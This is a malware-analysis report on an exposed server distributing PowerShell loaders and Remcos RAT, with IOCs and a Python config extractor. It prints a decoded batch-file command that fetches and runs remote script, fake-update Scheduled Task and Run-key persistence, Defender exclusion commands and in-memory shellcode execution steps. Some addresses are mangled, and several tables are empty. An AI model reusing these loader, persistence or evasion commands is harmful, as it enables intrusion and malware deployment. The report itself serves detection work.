Exposed: QuickDAV Malware Distribution Repository and Remcos RAT Infrastructure

Passive acquisition review + offline static analysis of an exposed QuickDAV malware repository and Remcos RAT delivery infrastructure.

Exposed: QuickDAV Malware Distribution Repository and Remcos RAT Infrastructure
Primary Case Exhibit: Exposed: QuickDAV Malware Distribution Repository and Remcos RAT Infrastructure

Exposed QuickDAV Malware Distribution Repository and Remcos RAT Infrastructure


Target acquired: hxxp://151[.]241[.]154[]:/
Acquisition date: 2026-08-13 UTC
Analysis type: Passive acquisition review + offline static malware analysis
Analyst context: DFIR / incident-response investigation
Execution policy: No acquired malware was executed. No intrusive interaction with the remote host is required for the findings in this report.

The Alert from my own CTI Project

1. Executive Summary

The exposed service at 151[.]241[.]154[]:8888 is assessed as a malware distribution repository supporting multiple campaigns rather than a standalone Remcos command-and-control listener. The HTTP service identifies itself as Express with SciActive QuickDAV 3.4.0, and directory indexing exposed the repository structure and 39 acquired payload files.

The corpus contains a repeatable PowerShell loader framework with two principal delivery branches:

  1. Registry-resident / Scheduled Task branch downloads a text carrier, slices a fixed hex region, stores carrier data and loader state under HKCU:\Software\<campaign key>, persists through fake software-update Scheduled Tasks, and repeatedly executes XOR-decoded native code from executable memory via conhost.exe --headless + 32-bit PowerShell.
  2. Disk-backed Themes branch writes a carrier beneath %APPDATA%\Microsoft\Windows\Themes, marks it hidden, records its path/URLs under HKCU, extracts and XOR-decrypts a large position-independent payload, and executes it using HeapCreate/HeapAlloc or VirtualAlloc. Selected variants add Microsoft Defender exclusions for the Themes path and powershell.exe.

Offline extraction identified seven distinct Remcos configurations across Remcos 7.2.5 Pro and 7.2.4 Pro, including seven configured controller endpoints. The decrypted settings also expose botnet identifiers, Remcos mutexes, license identifiers, and TLS certificate/private-key material. Reuse of identical Remcos license IDs and identical TLS key material provides strong infrastructure/build clustering.

A second payload family is present in four identical 2,145,730-byte carrier files. Its extracted 797,023-byte position-independent blob is not a PE file and is assessed as probable Donut-derived shellcode based on its execution architecture and encrypted embedded instance. The inner payload was not falsely attributed to Remcos because it remains encrypted/unresolved in this static pass.

The acquisition contains significant duplication: 39 files collapse to 25 unique SHA-256 values. One carrier hash occurs eight times and the alternate-shellcode carrier hash occurs four times, showing deliberate file/path churn over a comparatively small set of underlying payloads.

High-confidence conclusions

  • 151[.]241[.]154[]:8888 is a delivery/content node exposing malware and loader infrastructure.
  • The loader framework uses redundant hosts in 151[.]241[.]154[]/24, particularly 151[.]241[.]154[]:8888 as a recurring fallback.
  • Twelve distinct Scheduled Task loader configurations were recovered.
  • Four alternate disk-backed loaders target a shared large carrier format and the Rhysm1utym XOR key.
  • Seven distinct Remcos C2 configurations were recovered directly from decoded PE resources.
  • The Remcos samples expose four strong configuration clusters based on license/TLS key reuse.
  • The infection chain is strongly huntable through registry paths, task names, mutexes, XOR keys, process ancestry, extraction offsets, and controller endpoints.

2. Scope, Evidence and Integrity

2.1 Acquisition summary

The passive acquisition metadata records:

  • Target: hxxp://151[.]241[.]154[]:/
  • Acquisition mode: passive HTTP GET only
  • Acquired UTC: 2026-08-13T07:35:39.5414301Z
  • Directory listings: 9
  • Files: 39
  • Total acquired file bytes: 36,310,513

2.2 Integrity verification

The manifest SHA-256 recomputed during analysis is:

06751ec7fe1cd705d2076ed502244f7afc5cf469c5779747752aa078348c24b0  manifest.csv

This matches the value recorded in the acquisition summary.

Additional local evidence hashes:

72901a0ce714501ea26ecea4814870b7057ed217f78d8aa33115b2e6ba80c404  Dump.zip
0ed78ce61572bf1b634e26b790dc88a4d1ab044b6c10cd8680398ac0748fd0b0 acquisition-summary.txt

2.3 Analysis limitations

  • Server-provided Last Modified timestamps are treated as server metadata, not trusted forensic creation times.
  • The QuickDAV UI does not declare the timezone used for displayed modification timestamps.
  • Static findings demonstrate configured malware behavior and capabilities; they do not prove every capability was exercised against a specific victim.
  • Controller configuration recovered from malware is authoritative for sample intent but does not establish that every controller was reachable at every point in time.
  • The alternate PIC branch remains partially unresolved; attribution to Donut is an architectural assessment rather than a proven builder fingerprint.

3. Exposed HTTP Service

3.1 Server fingerprint

Acquired response headers include:

HTTP/1.1 200 OK
X-Powered-By: Express
Server: quickdav/3.4.0
Cache-Control: private, no-cache
Content-Type: text/html; charset=utf-8

Directory pages end with:

Served by SciActive QuickDAV

3.2 Exposed hierarchy

The root exposed these major paths:

/
├── 1/
├── 2/
├── 3/
└── 38487194018/
└── file/
└── documents/
└── online/
└── share/
└── open.bat

Directory 3/ was empty at acquisition time. Directories 1/ and 2/ contained the active loader/carrier corpus.

3.3 Observed repository time span

Based on the QuickDAV listing metadata, acquired file modification timestamps span approximately:

2026-05-25 03:24:38  through  2026-07-28 20:57:34

The timezone is unspecified. The latest listed artifact is open.bat, modified shortly after the corresponding aiemgqgiewigsq279.jpj loader on July 28, supporting an upload/deployment sequence rather than a single static archival dump.


4. Infection Chain Overview


5. Stage-Zero: open.bat

5.1 Artifact

Path: 38487194018/file/documents/online/share/open.bat
Size: 4,006 bytes
SHA-256: e3cb29e02e0f369e25b00ecf6f9139013dd7d35579b32df91a721391829846c9

5.2 Execution behavior

The batch file reconstructs a Base64-encoded UTF-16LE PowerShell command from multiple environment variables and launches:

%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c <decoded command>

The decoded command is:

$r=$null
$u1='hxxp://151[.]241[.]154[]:/1/aiemgqgiewigsq279.jpj'
$u2='hxxp://151[.]241[.]154[]:/1/aiemgqgiewigsq279.jpj'
[Net.ServicePointManager]::SecurityProtocol=3072
foreach($u in @($u1,$u2)){
foreach($t in 1..3){
try{
$b=New-Object Net.WebClient
$b.Headers.Add('User-Agent','Mozilla/5.0')
$r=$b.DownloadString($u)
if($r){break}
}catch{Start-Sleep 1}
}
if($r){break}
foreach($t in 1..2){
try{
$r=(Invoke-WebRequest -Uri $u -UseBasicParsing).Content
if($r){break}
}catch{Start-Sleep 1}
}
if($r){break}
}
$_sb=[scriptblock]::Create($r)
.($_sb)

5.3 DFIR significance

This establishes several important characteristics:

  • Redundant delivery: .141 primary and .158 fallback.
  • 32-bit PowerShell: explicit use of SysWOW64 is consistent with the 32-bit native Remcos payloads later recovered.
  • Memory-first execution: downloaded script content is converted to a ScriptBlock and invoked without an intermediate .ps1 file.
  • Multiple HTTP implementations: WebClient.DownloadString() then Invoke-WebRequest fallback.
  • TLS 1.2 selector: numeric 3072 sets TLS 1.2, although the supplied delivery URLs are HTTP.
  • Browser-like User-Agent: Mozilla/5.0.

6. PowerShell Loader Framework

6.1 Common architecture

The readable/deobfuscated loader content demonstrates a common builder/template. The recurring sequence is:

  1. Create a named .NET mutex and exit if another instance owns it.
  2. Reconstruct two HTTP URLs using string replacement or character arrays.
  3. Download a large text carrier with redundant methods.
  4. Extract a fixed character range using .Substring(offset,length).
  5. Persist campaign state under HKCU:\Software\<random-looking-key>.
  6. Decode a secondary PowerShell stage from hex/XOR form.
  7. For the persistence branch, create a fake software-update Scheduled Task.
  8. The task launches conhost.exe --headless with 32-bit PowerShell.
  9. The secondary stage retrieves cached carrier text or re-downloads it.
  10. Convert hex pairs to bytes and XOR using a campaign key.
  11. Allocate executable memory using an executable heap or VirtualAlloc.
  12. Copy the bytes and invoke them through a .NET delegate.
  13. Loop/retry to maintain execution.


6.2 Scheduled Task behavior

The task builder uses the Task Scheduler COM API. Representative properties include:

Settings.StartWhenAvailable = true
Trigger type = time trigger
StartBoundary = current time + 1 minute
Repetition.Interval = PT1M
Repetition.StopAtDurationEnd= false
Action.Path = C:\Windows\System32\conhost.exe

The task is registered with:

RegisterTaskDefinition(<fake update name>, <definition>, 6, null, null, 3)

The action argument pattern is consistently:

--headless C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "<read script from HKCU and invoke>"

This provides a particularly strong process-tree hunt:

conhost.exe --headless
└── C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop ...

6.3 Registry-resident loader design

Each Scheduled Task campaign creates a unique HKCU key and stores five logical values:

  • primary URL
  • fallback URL
  • cached carrier hex region
  • encoded secondary stage
  • decoded secondary stage used by the task

This design allows the task to rehydrate the in-memory loader even if the original first-stage script is gone.

6.4 Native execution primitives

The registry-resident branch primarily compiles P/Invoke definitions for:

HeapCreate
HeapAlloc
HeapFree
HeapDestroy
VirtualProtect
Marshal.Copy
GetDelegateForFunctionPointer

Typical behavior:

HeapCreate(0x00040000, 0, 0)
HeapAlloc(heap, 0x08, payload_length)
Marshal.Copy(payload, ..., allocated_memory, payload_length)
VirtualProtect(memory, payload_length, 0x40, ...)
GetDelegateForFunctionPointer(...).Invoke()

0x40 corresponds to executable/read/write memory protection. Some alternate variants instead use VirtualAlloc(...,0x3000,0x04), copy the payload, change protection to executable/read (0x20), invoke, then VirtualFree.


The following mapping is directly recoverable from the readable loader scripts:


7.2 Stage timing / retry behavior

Most persistent secondary stages wait approximately 130 seconds before their main loop, then use 60-second retry/recurrence sleeps with a short 2-second garbage-collection/reallocation pause. aiemgqgiewigsq279.jpj and ueyamga45hymsdis.hsb use shorter 30-second loop timings in the recovered secondary stage. The repeated task trigger every minute plus the secondary loop means an infected user context can repeatedly attempt recovery and execution.


8. Alternate Disk-Backed Themes Branch

Four loader scripts use a distinct but related strategy:

aegjhsa99dfhrekid.ulc
ujshemguaiue944.knq
fetasggmiueasgq245.ycq
gtemgeagrttyfh285.yqe

8.1 Local staging directory

All target:

%APPDATA%\Microsoft\Windows\Themes

Observed randomized filename templates:

umageaegjhsa<random>.log
ygghesklfyeyatsmg<random>.tmp
fetasggmueuasmg<random>.dat
gtemgeajeagymmg<random>.old

The random number is generated with approximately:

Get-Random -Max 32000

The downloaded carrier is marked hidden using:

attrib +h <carrier path>

8.2 Download redundancy

These variants attempt multiple transfer mechanisms:

WebClient.DownloadFile
Invoke-WebRequest -OutFile
Start-BitsTransfer

8.3 Defender modification

At least aegjhsa99dfhrekid.ulc and gtemgeagrttyfh285.yqe explicitly attempt:

Add-MpPreference -ExclusionPath "$env:APPDATA\Microsoft\Windows\Themes"
Add-MpPreference -ExclusionProcess 'powershell.exe'

This is direct defense-evasion behavior and a strong local audit/hunting signal.

8.4 Shared payload extraction

All four target identical carrier content with acquired SHA-256:

fbe44b529893d9dd78260362a7502be76cbc304ddf16cae742f50ced46302afb

The loader reads text and extracts:

Substring offset: 342503
Substring length: 1594046 characters
XOR key: Rhysm1utym
Decoded size: 797023 bytes
Decoded SHA-256: 046b030d5d4b820158cdfcf32daa94ca9356c7dcb355b258e005388411bb7f96

The decoded blob is not a PE according to static file identification. It is position-independent native data executed directly as a function pointer. The architecture is strongly consistent with a Donut-style loader: executable position-independent shellcode with an encrypted embedded instance/module and in-memory execution. Assessment: probable Donut-derived loader, moderate confidence in exact builder attribution.

The inner embedded module remains unresolved in this static pass, so it is intentionally not labeled Remcos.


9. Carrier Encoding and Payload Recovery

9.1 Remcos carrier format

The dominant carrier files are text-like containers with a large embedded hex substring. The loader performs:

raw carrier text
→ fixed Substring(offset,length)
each two characters converted to one byte
→ repeated ASCII XOR key
→ native PE32 payload

For the common 1,157,120-character encoded region:

1,157,120 hex characters / 2 = 578,560 decoded bytes

The resulting files are:

PE32 executable for MS Windows 5.01 (GUI), Intel i386, 5 sections

The ugmagbrquwgema818.mtj campaign uses a slightly smaller 1,148,928-character region and yields a 574,464-byte Remcos 7.2.4 Pro PE.

9.2 Strong payload-family strings

Recovered native samples contain characteristic strings including:

Remcos Agent initialized (
7.2.5 Pro
7.2.4 Pro
Remcos restarted by watchdog!
Offline Keylogger Started
Online Keylogger Started
RecoverCookies
Uploading file to Controller:
Downloading file:
GetDirectListeningPort
cmd.exe
powershell.exe

These strings, together with successfully decrypted SETTINGS resources and the Remcos-specific configuration field layout, provide high-confidence family identification.


10. Remcos SETTINGS Configuration Analysis

The Remcos family identification was not based only on printable strings. The decoded PE files contain a named resource, RT_RCDATA/SETTINGS, which stores the controller configuration in an encrypted binary structure. Recovering this resource and reproducing the malware's configuration-decryption path exposed the configured C2 endpoints, botnet identifiers, mutexes, license identifiers, and embedded TLS key material.

This stage is important because it separates family identification from configuration recovery: strings can identify Remcos, but the SETTINGS resource explains how that specific build was configured and provides much stronger infrastructure pivots.

10.1 Configuration-recovery chain

For the Remcos payloads recovered from the exposed repository, the complete static path is:

encoded carrier
|
| campaign-specific substring carve
| hex decode
| repeating XOR
v
Remcos PE (MZ/PE32)
|
| PE Resource Directory
v
RT_RCDATA (type 10)
|
+-- named resource: SETTINGS
|
+-- byte 0 = RC4 key length (N)
+-- bytes 1..N = RC4 key material
+-- remaining = RC4 ciphertext
|
| RC4 KSA + PRGA
v
decrypted Remcos configuration
|
| split on 7c 1e 1e 1f 7c
v
58 configuration fields

No brute force was required. Both cryptographic layers are self-describing from the loader/resource structure: the outer PowerShell exposes its XOR key and the Remcos SETTINGS blob stores its own RC4 key immediately before the ciphertext.

10.2 Locating the SETTINGS resource

The decoded native payloads contain a PE resource with the following hierarchy:

PE Resource Directory
└── RT_RCDATA / type 10
└── SETTINGS
└── language 0
└── IMAGE_RESOURCE_DATA_ENTRY

The resource must be extracted from the decoded Remcos PE, not from the original HTTP carrier. Searching the outer .mtj.hww.fru.nky, or similar carrier directly will not expose the plaintext controller configuration.

Two representative resources were validated byte-for-byte:

Remcos samplePE SHA-256SETTINGS bytesByte 0RC4 key lengthCiphertext bytesSETTINGS SHA-2567.2.4 Proe566fdf4e0cb0c0d4fe2c307d788d9546e3a9bccaeb08c067ef446abdf4124351,2100x2c441,165062159b0e76a5b4af12ae8244733077da1fd1814ee0223243caf3e246dcf9eed7.2.5 Proc5e0acb54c7d95a5b3cb04d5e0963884a684a7cb36d1e6f01bc88985c595dec01,2520x6b1071,1449e8d3df4b68f5a055008eda05a4d1d016876559c7bdd42c062f9a3cf3257537f

The difference in key size is operationally important: the RC4 key length must be read from byte 0 and must not be hardcoded.

10.3 Byte-level walkthrough: Remcos 7.2.4 Pro

For decoded PE:

SHA-256:
e566fdf4e0cb0c0d4fe2c307d788d9546e3a9bccaeb08c067ef446abdf412435
SETTINGS RVA       : 0x865cc
SETTINGS file off. : 0x865cc
SETTINGS size : 1210 bytes

The raw resource begins:

00000000  2c be f7 bd 98 fa c5 49 5b 01 dd 69 a3 cd 1f 89
00000010 b5 32 cd e1 dd 9d 60 f3 24 70 be 12 21 2f f6 82
...

The first byte is not ciphertext:

0x2c = 44 decimal

Therefore the blob is framed as:

offset 0x0000       2c
^
+-- RC4 key length = 44 bytes
offset 0x0001       <44-byte binary RC4 key>
|
offset 0x002d <RC4 ciphertext begins>

The exact 44-byte key for this sample is:

be f7 bd 98 fa c5 49 5b 01 dd 69 a3 cd 1f 89 b5
32 cd e1 dd 9d 60 f3 24 70 be 12 21 2f f6 82 c3
50 de f7 00 7e 29 82 99 8f dc 34 8f

or, without spaces:

bef7bd98fac5495b01dd69a3cd1f89b532cde1dd9d60f32470be12212ff682c350def7007e2982998fdc348f

The ciphertext starts at:

1 + 44 = 45 decimal = 0x2d

and occupies the remaining 1,165 bytes.

After standard RC4 decryption, the plaintext begins with:

151[.]241[.]154[]:2941:1\x1e|\x1e\x1e\x1f|5.25.26bld83498734|\x1e\x1e\x1f|1...

This provides immediate validation that the correct key and resource boundaries were used. A failed decode instead produces high-entropy/non-structured output and will not produce the expected controller field, delimiter sequence, UTF-16LE strings, or ASN.1 objects near the tail of the configuration.

10.4 Remcos 7.2.5 variation

The same framing was independently validated against the 7.2.5 Pro sample:

PE SHA-256:
c5e0acb54c7d95a5b3cb04d5e0963884a684a7cb36d1e6f01bc88985c595dec0
SETTINGS size      : 1252 bytes
byte[0] : 0x6b
RC4 key length : 107 bytes
ciphertext length : 1144 bytes
field count : 58

Its RC4 key is:

f291b14d6465b8ca3232bc7a76bfcd51fab048a1a0ac7900608fa2f63137ba9f6f88b17576cc040b9584e074923d4a865727d1459252ea2151edefdde2ed5b3493d8c2a107c2a7e541a31a27a893c9bf8c970720f80dc45bf4e1a542591f9c16e47eb74a57fb11d78eb80a

The decrypted plaintext begins:

348787241.com:21942:1\x1e|\x1e\x1e\x1f|J0625hun|\x1e\x1e\x1f|1...

This confirms that the 7.2.4 and 7.2.5 configurations use the same overall resource framing and field layout while allowing variable-length RC4 keys.

10.5 RC4 decryption logic

The transformation is standard RC4: a key-scheduling algorithm (KSA) initializes/permutates a 256-byte state array, followed by the pseudo-random generation algorithm (PRGA), whose keystream is XORed with the configuration ciphertext.

A minimal implementation is:

def rc4(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
    # KSA
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xff
S[i], S[j] = S[j], S[i]
    # PRGA
output = bytearray()
i = j = 0
    for byte in data:
i = (i + 1) & 0xff
j = (j + S[i]) & 0xff
S[i], S[j] = S[j], S[i]
keystream = S[(S[i] + S[j]) & 0xff]
output.append(byte ^ keystream)
    return bytes(output)

The resource parser should then perform:

key_len   = settings_blob[0]
key = settings_blob[1:1 + key_len]
ciphertext = settings_blob[1 + key_len:]
plaintext = rc4(ciphertext, key)

The key is binary material, not an ASCII password, and should be preserved/output as hexadecimal for reproducibility.

10.6 Decrypted field structure

The decrypted blobs contain 58 fields separated by:

7c 1e 1e 1f 7c
| RS RS US |

or in Python:

separator = b"|\x1e\x1e\x1f|"
fields = plaintext.split(separator)

Field 0 in the observed samples contains an additional trailing 0x1e, so the normalized controller field is obtained with:

controller_field = fields[0].rstrip(b"\x1e")

The configuration is mixed-encoding, not purely ASCII. It contains:

  • ASCII strings such as the controller, botnet name, mutex, directories, and license ID;
  • UTF-16LE strings such as remcos.exe, logs.dat, Remcos, and remcos;
  • single-byte numeric/boolean fields;
  • binary ASN.1 DER objects in fields 54–56.

High-value fields recovered consistently from this corpus are:

Field 0  : controller:port:TLS-flag
Field 1 : botnet identifier
Field 10 : executable name (UTF-16LE: remcos.exe)
Field 14 : Remcos mutex
Field 17 : log filename (UTF-16LE: logs.dat)
Field 26 : Screenshots
Field 38 : MicRecords
Field 48 : UTF-16LE "Remcos"
Field 49 : UTF-16LE "remcos"
Field 52 : license identifier
Field 54 : DER X.509 certificate
Field 55 : DER SEC1 EC private key matching field 54
Field 56 : second DER X.509 certificate

The trailing :1 in controller field 0 is interpreted as the TLS-enable flag, not a password. For example:

151.241.154.179:2941:1
| | |
| | +-- TLS = enabled
| +------- TCP port 2941
+----------------------- controller host

10.7 Reproducible static extraction script

The following compact extractor can be used once pefile is installed. It does not execute the malware; it only reads the PE resource table, decrypts the resource, and writes the resulting artifacts.

#!/usr/bin/env python3
from pathlib import Path
import hashlib
import pefile
DELIMITER = b"|\x1e\x1e\x1f|"

def rc4(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
    for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xff
S[i], S[j] = S[j], S[i]
    out = bytearray()
i = j = 0
    for byte in data:
i = (i + 1) & 0xff
j = (j + S[i]) & 0xff
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) & 0xff]
out.append(byte ^ k)
    return bytes(out)

def extract_settings(path: str) -> bytes:
pe = pefile.PE(path)
    for resource_type in pe.DIRECTORY_ENTRY_RESOURCE.entries:
if resource_type.struct.Id != 10: # RT_RCDATA
continue
        for resource_name in resource_type.directory.entries:
if resource_name.name is None:
continue
            if str(resource_name.name).upper() != "SETTINGS":
continue
            for resource_lang in resource_name.directory.entries:
rva = resource_lang.data.struct.OffsetToData
size = resource_lang.data.struct.Size
return pe.get_data(rva, size)
    raise RuntimeError("RT_RCDATA/SETTINGS resource not found")

def decode_text(field: bytes) -> str:
field = field.rstrip(b"\x1e")
    if not field:
return ""
    # Detect common UTF-16LE fields.
if len(field) % 2 == 0 and len(field) >= 4:
odd = field[1::2]
if odd and odd.count(0) / len(odd) >= 0.60:
while field.endswith(b"\x00\x00"):
field = field[:-2]
return field.decode("utf-16le", "replace")
    try:
return field.decode("ascii")
except UnicodeDecodeError:
return field.hex()

sample = "remcos.bin"
blob = extract_settings(sample)
key_len = blob[0]
key = blob[1:1 + key_len]
ciphertext = blob[1 + key_len:]
plaintext = rc4(ciphertext, key)
fields = plaintext.split(DELIMITER)
Path("SETTINGS.raw.bin").write_bytes(blob)
Path("SETTINGS.decrypted.bin").write_bytes(plaintext)
print("SETTINGS bytes  :", len(blob))
print("SETTINGS SHA256 :", hashlib.sha256(blob).hexdigest())
print("RC4 key length :", key_len)
print("RC4 key :", key.hex())
print("Ciphertext bytes:", len(ciphertext))
print("Fields :", len(fields))
print()
for i in (0, 1, 10, 14, 17, 26, 38, 48, 49, 52):
print(f"[{i:02d}] {decode_text(fields[i])}")
# Preserve the binary cryptographic fields independently.
for i in (54, 55, 56):
Path(f"field_{i}.der").write_bytes(fields[i])
print(
f"[{i:02d}] len={len(fields[i])} "
f"sha256={hashlib.sha256(fields[i]).hexdigest()}"
)

Example execution against the recovered 7.2.4 PE produces:

SETTINGS bytes  : 1210
SETTINGS SHA256 : 062159b0e76a5b4af12ae8244733077da1fd1814ee0223243caf3e246dcf9eed
RC4 key length : 44
RC4 key : bef7bd98fac5495b01dd69a3cd1f89b532cde1dd9d60f32470be12212ff682c350def7007e2982998fdc348f
Ciphertext bytes: 1165
Fields : 58
[00] 151[.]241[.]154[]:2941:1
[01] 5.25.26bld83498734
[10] remcos.exe
[14] 5.25.26bld83498734-D3OU0O
[17] logs.dat
[26] Screenshots
[38] MicRecords
[48] Remcos
[49] remcos
[52] 522D4DA05D1A39EDAB20598CC0110326

A companion standard-library-only extractor, which performs the PE resource traversal itself and therefore does not require pefile, was also produced during this investigation as extract_remcos_settings.py.

10.8 TLS/ASN.1 resource fields

Fields 54–56 are not strings and should not be decoded as text. They are DER-encoded ASN.1 structures.

For the 7.2.4 sample:

Field 54 length: 260 bytes
SHA-256: d7ecb82932ee66211e66e6cbd50e68d02b51962e0274ae16d6fe9f5d3bfd4b6f
Type: DER X.509 certificate
Field 55 length: 121 bytes
SHA-256: 0dbe0818a6196d365899106f46359e3ed4737c695cfad89cb513a203332702d9
Type: DER SEC1 EC private key
Curve: prime256v1 / NIST P-256
Public key: matches field 54
Field 56 length: 260 bytes
SHA-256: 2798275f59618de8d70fe5023993d000baa7f2dc9b7359096405c877bf68b566
Type: second DER X.509 certificate

The certificates observed in this configuration use ECDSA-with-SHA256 and P-256 public keys. The 7.2.4 certificates carry an unusual broad validity interval from 1970 to 2090 with empty issuer/subject distinguished names, making them configuration artifacts rather than normal public-PKI server certificates.

They can be inspected without executing the sample:

openssl x509 -inform DER -in field_54.der -text -noout
openssl ec -inform DER -in field_55.der -text -noout
openssl x509 -inform DER -in field_56.der -text -noout

or generically:

openssl asn1parse -inform DER -in field_55.der

The field hashes are particularly valuable because identical certificate/private-key bytes provide a much stronger campaign/build pivot than similar-looking domains.

10.9 Recovered controllers

10.10 Unique decoded Remcos payloads

10.11 Configuration/TLS clustering

Identical license IDs combined with identical embedded TLS key material are strong build/infrastructure pivots. This is stronger than hostname similarity alone.

Cluster interpretation

  • The group containing www.serveredgeupdt.com, www.tools94upd.com, and upmicrotoolserv.com shares the same Remcos license identifier and the same three TLS material hashes.
  • The group containing edge93update.com and www.upd782378tol.com shares a second license/TLS material set.
  • 348787241.com has unique license/TLS material within this corpus.
  • 151[.]241[.]154[]:2941 has unique license/TLS material within this corpus and is the only recovered controller expressed directly as an IP address.

These clusters support common-builder/common-controller relationships but do not, by themselves, identify a specific human operator.


11. Delivery Infrastructure Recovered From Malware

11.1 Delivery nodes

The PowerShell code directly references the following HTTP delivery endpoints:

  • 151[.]241[.]154[]:8888
  • 151[.]241[.]154[]:8888
  • 151[.]241[.]154[]:8888
  • 151[.]241[.]154[]:8888
  • 151[.]241[.]154[]:8888
  • 151[.]241[.]154[]:8888
  • 151[.]241[.]154[]:8888

The repeated use of 151[.]241[.]154[]:8888 as a fallback across unrelated campaign names is notable. The exposed .105 host is therefore only one node in a wider distribution pattern.

11.2 Configured Remcos controllers

www.serveredgeupdt.com:42910
edge93update.com:36692
348787241.com:21942
www.tools94upd.com:23198
www.upd782378tol.com:2191
upmicrotoolserv.com:14102
151[.]241[.]154[]:2941

These are sample-configured C2 endpoints, distinct from the HTTP delivery service on TCP/8888.


12. Artifact Reuse and Deduplication

The 39 acquired files represent only 25 unique SHA-256 values.

High-value duplicate groups:

12.1 Interpretation

The eightfold reuse of:

0a3ab8cc77a6294bf505d8153e1bc84027b4e8540d5168a83d154508fd500ebb

under different random-looking names/paths shows that filename churn is mainly a delivery/campaign artifact rather than evidence of eight distinct malware payloads.

The fourfold reuse of:

fbe44b529893d9dd78260362a7502be76cbc304ddf16cae742f50ced46302afb

links the four Themes/disk-backed loaders to the same alternate shellcode carrier.


13. Persistence and Host IOCs

13.1 Scheduled Task names

  • AdobeGCUpdateTask811
  • DotNetFrameworkUpdate766
  • DotNetFrameworkUpdate851
  • DotNetFrameworkUpdate896
  • GoogleUpdateTaskUser120
  • GoogleUpdateTaskUser763
  • MicrosoftEdgeUpdateTaskMachine850
  • MicrosoftOfficeServiceMonitor168
  • MicrosoftOfficeServiceMonitor794
  • OneDriveStandaloneUpdate288
  • OneDriveStandaloneUpdate308
  • OneDriveStandaloneUpdate702

The names imitate legitimate Microsoft, Google, Adobe, OneDrive, Office, Edge, and .NET update/monitoring tasks. Detection should therefore correlate task action + path + command line, not task name alone.

13.2 Run-key redundancy observed in selected campaigns

Three Scheduled Task campaigns also install a second persistence mechanism under:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Observed value names:

GoogleUpdateCore      <- cumsiyfetffuceyra656.itb
AdobeGCInvoker <- uyshamg882aheyst.hdd
OneDriveSyncHelper <- yasngeyasnge966.pll

The stored command launches C:\Windows\System32\conhost.exe --headless and re-enters the same registry-resident PowerShell stage. This establishes dual persistence (Scheduled Task + Run key) for those campaigns.

13.3 Registry keys

  • HKCU:\Software\azijefokcumsiyfetf68
  • HKCU:\Software\cvqspqcvqspq30
  • HKCU:\Software\dfhrekid152aegjhsa
  • HKCU:\Software\fetasggmiueasgq170
  • HKCU:\Software\frujmseweujae566
  • HKCU:\Software\ftagemuyshamg446
  • HKCU:\Software\iirmart891iirmart
  • HKCU:\Software\irusdgerfaeytasm181
  • HKCU:\Software\jysamge79rsamzmr
  • HKCU:\Software\uegmar42uegmar
  • HKCU:\Software\ujshemujshem926
  • HKCU:\Software\uwmasgh981jeagymmg
  • HKCU:\Software\uymfeahymsdis647
  • HKCU:\Software\yetaq600iokasg
  • HKCU:\Software\yhsamerieasmge522
  • HKCU:\Software\ymqora85uysqa

13.4 PowerShell-stage mutexes

  • abunaxudiumczpsz3561
  • bpmxhelzkwqrevrf1041
  • cmzjcszwqagtvtsv1600
  • dmnmusicpwtqosww3272
  • erbyzoyickcwtgpv3849
  • fgcoabatuvgwhpzv8689
  • gmajbjahoejrorsj6066
  • ikvujnuugwwjakzz8738
  • iuapvuoghrxejdxg3552
  • ncqmbhjumxjyqenh9882
  • ouzadytwntqbmbad7589
  • pjxsdzustereknzk3607
  • rbvvzpffaaflnaek1855
  • vcyqkjmattkatauk7530
  • vjxvottnhurfapio7962